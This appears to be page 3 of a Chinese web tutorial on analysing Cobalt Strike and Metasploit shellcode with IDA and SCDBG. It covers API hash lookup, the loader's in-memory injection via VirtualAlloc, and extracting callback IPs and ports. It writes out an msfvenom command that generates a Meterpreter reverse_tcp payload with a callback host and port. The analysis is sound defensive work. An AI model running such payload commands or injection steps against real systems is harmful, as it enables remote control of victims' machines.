shellcode编码,shellcode代码

首页 > 经验 > 作者:YD1662022-11-07 08:22:18

还有一部分调用我们需要借助于工具匹配windows dll的api哈希值,完整列表

通过检索可以查找到对应调用

0xc69f8957 wininet.dll_InternetConnectA

0xa779563a wininet.dll_InternetOpenA

快速分析

使用IDA分析可以很容易的对shellcode的流程加载进行观察,当然我们可以使用SCDBG工具更快速的对shellcode进行分析。它是一个围绕libemu仿真库构建的shell代码分析应用程序。将向用户显示shellcode试图调用的所有Windows API。

通过命令行直接对文件进行分析,可以快速获取其调用的函数库和远端的地址与端口

shellcode编码,shellcode代码(9)

除了命令行,该工具还提供了gui界面,载入文件勾选相关选项,会自动

cs流程分析

通过上面分析我们可以了解到,cs生成的shellcode仅仅加载了wininet API库并导入了两个用于建立互联网连接的库,并可以看到连接对应的IP和端口。其功能也很明显,就是一个接收信号的程序。那么回过头看一下cs生成的ps文件的其他部分

首先,脚本从system.dll 中导入两个函数 GetModuleHandle 和 GetProcAddress,通过动态链接方式直接从内存中导入dll,不会从磁盘加载。

然后,这些函数用于为函数“var_va”分配内存空间,该函数包含我们的 shellcode。然后脚本对 shellcode 进行解码和解密

接下来,VirtualAlloc 将 shellcode 函数写入内存空间以供调用进程使用。因此,shellcode 本质上是注入到进程使用的内存空间中。

最后,shellcode 被执行,在那里它与 Cobalt Strike 服务器建立一个 C2 通道。当通道建立后即可接收来自cs的指令。

msf流程

首先使用msfvenom生成shellode。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.245.153 LPORT=4444 -f raw

可惜的是64位的shellcode无法直接使用scdbg进行分析,相对应的一些函数IDA无法做到有效识别,但好在msf生成的shellcode有个特征可以有助于我们去提取IP和端口。

移动指令(mov)且结尾为0002的寄存器值,搜索后找到如下值4199F5A8C05C1120

shellcode编码,shellcode代码(10)

这里注意大小端的问题,进行16进制转10进制,可以得到I以下153.245.168.192,转换出来就是192.168.245.153,5c11转换后是4444。一般由于适用性问题,64位的shellode较少,这里简单提一下。

msfvenom的shellcode实现的功能我们可以使用32位的进行分析,将32位的shellcode使用scdbg工具打开,勾选scan for api table选项,最后启动

shellcode编码,shellcode代码(11)

可以发现其调用的是ws2_32.dll,它是Windows Sockets应用程序接口,用于支持Internet和网络应用程序。通过分析可以得出msf的shellcode也仅仅做了建立连接通信的功能。

总结

shellcode是一串机器码,可以由CPU解释执行。

cs和msf默认生成的shellcode仅仅是一个连接程序,需要其他方式加载进内存执行。

shellclode分析32位可以直接使用scdbg直接分析,可以获取远程的IP和端口、调用的API等信息。

上一页123末页

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.